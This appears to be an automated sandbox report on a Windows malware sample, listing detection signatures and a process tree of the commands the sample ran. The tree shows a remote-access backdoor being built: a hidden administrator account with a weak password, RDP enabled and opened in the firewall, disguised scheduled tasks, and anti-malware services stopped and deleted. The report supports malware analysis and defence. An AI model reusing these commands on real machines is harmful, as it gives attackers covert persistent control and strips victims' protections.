Overview

overview

10

Static

static

5

ExeFile (206).exe

windows7-x64

10

ExeFile (206).exe

windows10-2004-x64

10

Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    20-08-2024 14:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ExeFile (206).exe

  • Size

    11.9MB

  • MD5

    387139f87dc3b8dd527bf15b64abd197

  • SHA1

    65e227af49ed8a2015e9e9723507e261c9187e23

  • SHA256

    39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639

  • SHA512

    3a9ba9a823f21f5d7620698ae6c96ff32c6646110a8fa1c652c3e1e39e59f58904244d65e5f9cd5da6e408f7515f9db62b2f13c16a8e54489fc88e0780c70ade

  • SSDEEP

    196608:GCKv7RIWTxeDn55W47M0X30MiDdavptV4KYi8ybgXTal7IEbPujUJC/Ea:FcR9Tw5JMs01DgvialcEbPuj4C8a

Score
10/10
rmsaspackv2defense_evasiondiscoveryevasionexecutionlateral_movementpersistenceprivilege_escalationrattrojanupx

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    evasiontrojan
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

    evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 7 IoCs
    evasion
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
    persistence
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 20 IoCs
  • Modifies file permissions 1 TTPs 56 IoCs
    discovery
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
    persistence
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • AutoIT Executable 6 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 2 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 4 IoCs
    defense_evasion
  • Drops file in Program Files directory 26 IoCs
  • Launches sc.exe 13 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 5 IoCs
    evasion
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies registry class 3 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\ExeFile (206).exe
    "C:\Users\Admin\AppData\Local\Temp\ExeFile (206).exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Loads dropped DLL
    • Adds Run key to start application
    • Modifies WinLogon
    • Hide Artifacts: Hidden Users
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 15
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:480
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:832
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2264
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • UAC bypass
            • Windows security bypass
            • Hide Artifacts: Hidden Users
            • Runs .reg file with regedit
            PID:2616
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • Runs .reg file with regedit
            PID:2936
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • System Location Discovery: System Language Discovery
            • Delays execution with timeout.exe
            PID:1052
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2060
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2124
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2456
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:2776
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • System Location Discovery: System Language Discovery
            • Views/modifies file attributes
            PID:2372
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:2720
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            PID:3528
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            PID:3620
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        PID:1264
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Programdata\Install\del.bat
          4⤵
            PID:3208
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              5⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:1920
      • C:\programdata\install\cheat.exe
        C:\programdata\install\cheat.exe -pnaxui
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\ProgramData\Microsoft\Intel\taskhost.exe
          "C:\ProgramData\Microsoft\Intel\taskhost.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1084
          • C:\Programdata\RealtekHD\taskhostw.exe
            C:\Programdata\RealtekHD\taskhostw.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: GetForegroundWindowSpam
            PID:3880
          • C:\ProgramData\Microsoft\Intel\R8.exe
            C:\ProgramData\Microsoft\Intel\R8.exe
            4⤵
            • Executes dropped EXE
            PID:4076
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3280
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\rdp\pause.bat" "
                6⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:3084
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:800
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3404
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 3
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:2504
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  7⤵
                    PID:1476
                  • C:\rdp\Rar.exe
                    "Rar.exe" e -p555 db.rar
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:2180
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im Rar.exe
                    7⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3308
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 2
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Delays execution with timeout.exe
                    PID:3268
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    PID:1784
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ""C:\rdp\bat.bat" "
                      8⤵
                      • Loads dropped DLL
                      PID:2088
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                        9⤵
                          PID:3732
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                          9⤵
                          • System Location Discovery: System Language Discovery
                          PID:3620
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                          9⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:1624
                        • C:\Windows\SysWOW64\net.exe
                          net.exe user "john" "12345" /add
                          9⤵
                          • System Location Discovery: System Language Discovery
                          PID:3752
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 user "john" "12345" /add
                            10⤵
                            • System Location Discovery: System Language Discovery
                            PID:3740
                        • C:\Windows\SysWOW64\chcp.com
                          chcp 1251
                          9⤵
                            PID:3784
                          • C:\Windows\SysWOW64\net.exe
                            net localgroup "Администраторы" "John" /add
                            9⤵
                              PID:3764
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                10⤵
                                  PID:3692
                              • C:\Windows\SysWOW64\net.exe
                                net localgroup "Administratorzy" "John" /add
                                9⤵
                                  PID:3672
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                    10⤵
                                      PID:3680
                                  • C:\Windows\SysWOW64\net.exe
                                    net localgroup "Administrators" John /add
                                    9⤵
                                      PID:3868
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup "Administrators" John /add
                                        10⤵
                                          PID:3860
                                      • C:\Windows\SysWOW64\net.exe
                                        net localgroup "Administradores" John /add
                                        9⤵
                                          PID:3872
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 localgroup "Administradores" John /add
                                            10⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3904
                                        • C:\Windows\SysWOW64\net.exe
                                          net localgroup "Пользователи удаленного рабочего стола" John /add
                                          9⤵
                                            PID:3828
                                            • C:\Windows\SysWOW64\net1.exe
                                              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                              10⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:3840
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Пользователи удаленного управления" John /add
                                            9⤵
                                              PID:3968
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                10⤵
                                                  PID:1192
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Remote Desktop Users" John /add
                                                9⤵
                                                • Remote Service Session Hijacking: RDP Hijacking
                                                • System Location Discovery: System Language Discovery
                                                PID:3944
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                  10⤵
                                                  • Remote Service Session Hijacking: RDP Hijacking
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3940
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Usuarios de escritorio remoto" John /add
                                                9⤵
                                                  PID:3980
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                    10⤵
                                                      PID:4028
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                    9⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4012
                                                    • C:\Windows\SysWOW64\net1.exe
                                                      C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                      10⤵
                                                        PID:4044
                                                    • C:\rdp\RDPWInst.exe
                                                      "RDPWInst.exe" -i -o
                                                      9⤵
                                                      • Server Software Component: Terminal Services DLL
                                                      • Executes dropped EXE
                                                      • Modifies WinLogon
                                                      • Drops file in Program Files directory
                                                      • Modifies system certificate store
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4072
                                                      • C:\Windows\system32\netsh.exe
                                                        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                        10⤵
                                                        • Modifies Windows Firewall
                                                        • Event Triggered Execution: Netsh Helper DLL
                                                        PID:2820
                                                    • C:\rdp\RDPWInst.exe
                                                      "RDPWInst.exe" -w
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:2748
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                      9⤵
                                                      • Hide Artifacts: Hidden Users
                                                      PID:3288
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net accounts /maxpwage:unlimited
                                                      9⤵
                                                        PID:1680
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                          10⤵
                                                            PID:3628
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Drops file in Program Files directory
                                                          • Views/modifies file attributes
                                                          PID:3560
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\Program Files\RDP Wrapper"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Drops file in Program Files directory
                                                          • Views/modifies file attributes
                                                          PID:3508
                                                        • C:\Windows\SysWOW64\attrib.exe
                                                          attrib +s +h "C:\rdp"
                                                          9⤵
                                                          • Sets file to hidden
                                                          • Views/modifies file attributes
                                                          PID:3412
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout 2
                                                      7⤵
                                                      • Delays execution with timeout.exe
                                                      PID:2908
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c C:\programdata\microsoft\temp\H.bat
                                                4⤵
                                                • Drops file in Drivers directory
                                                PID:2220
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDControl" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
                                                4⤵
                                                • System Location Discovery: System Language Discovery
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:2852
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\RealtekHDStartUP" /TR "C:\Programdata\RealtekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
                                                4⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:2704
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                4⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:3148
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c sc start appidsvc
                                            2⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3012
                                            • C:\Windows\SysWOW64\sc.exe
                                              sc start appidsvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:2204
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c sc start appmgmt
                                            2⤵
                                              PID:3000
                                              • C:\Windows\SysWOW64\sc.exe
                                                sc start appmgmt
                                                3⤵
                                                • Launches sc.exe
                                                • System Location Discovery: System Language Discovery
                                                PID:1060
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                              2⤵
                                                PID:1892
                                                • C:\Windows\SysWOW64\sc.exe
                                                  sc config appidsvc start= auto
                                                  3⤵
                                                  • Launches sc.exe
                                                  PID:736
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                2⤵
                                                  PID:1576
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc config appmgmt start= auto
                                                    3⤵
                                                    • Launches sc.exe
                                                    PID:2808
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc delete swprv
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2208
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc delete swprv
                                                    3⤵
                                                    • Launches sc.exe
                                                    PID:2284
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2328
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc stop mbamservice
                                                    3⤵
                                                    • Launches sc.exe
                                                    PID:876
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1640
                                                  • C:\Windows\SysWOW64\sc.exe
                                                    sc stop bytefenceservice
                                                    3⤵
                                                    • Launches sc.exe
                                                    PID:800
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                  2⤵
                                                    PID:2548
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      sc delete bytefenceservice
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:1792
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                    2⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2232
                                                    • C:\Windows\SysWOW64\sc.exe
                                                      sc delete mbamservice
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:1520
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                    2⤵
                                                      PID:1096
                                                      • C:\Windows\SysWOW64\sc.exe
                                                        sc delete crmsvc
                                                        3⤵
                                                        • Launches sc.exe
                                                        PID:1172
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                      2⤵
                                                        PID:940
                                                        • C:\Windows\SysWOW64\netsh.exe
                                                          netsh advfirewall set allprofiles state on
                                                          3⤵
                                                          • Modifies Windows Firewall
                                                          • Event Triggered Execution: Netsh Helper DLL
                                                          PID:2160
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                        2⤵
                                                          PID:2260
                                                          • C:\Windows\SysWOW64\netsh.exe
                                                            netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                            3⤵
                                                            • Modifies Windows Firewall
                                                            • Event Triggered Execution: Netsh Helper DLL
                                                            PID:1116
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                          2⤵
                                                            PID:2512
                                                            • C:\Windows\SysWOW64\netsh.exe
                                                              netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                              3⤵
                                                              • Modifies Windows Firewall
                                                              • Event Triggered Execution: Netsh Helper DLL
                                                              PID:1684
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                            2⤵
                                                              PID:2356
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                3⤵
                                                                • Modifies Windows Firewall
                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                PID:2112
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                              2⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:868
                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                3⤵
                                                                • Modifies Windows Firewall
                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                PID:784
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                              2⤵
                                                                PID:1720
                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                  icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:2100
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                2⤵
                                                                  PID:2608
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:2064
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2408
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3024
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2828
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:1652
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2724
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2284
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                  2⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:2868
                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                    icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                    3⤵
                                                                    • Modifies file permissions
                                                                    PID:3052
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                  2⤵
                                                                    PID:2108
                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                      icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1820
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                    2⤵
                                                                      PID:2884
                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                        3⤵
                                                                        • Modifies file permissions
                                                                        PID:1324
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                      2⤵
                                                                        PID:2932
                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                          icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                          3⤵
                                                                          • Modifies file permissions
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1612
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:2872
                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                            icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:2272
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                          2⤵
                                                                            PID:2880
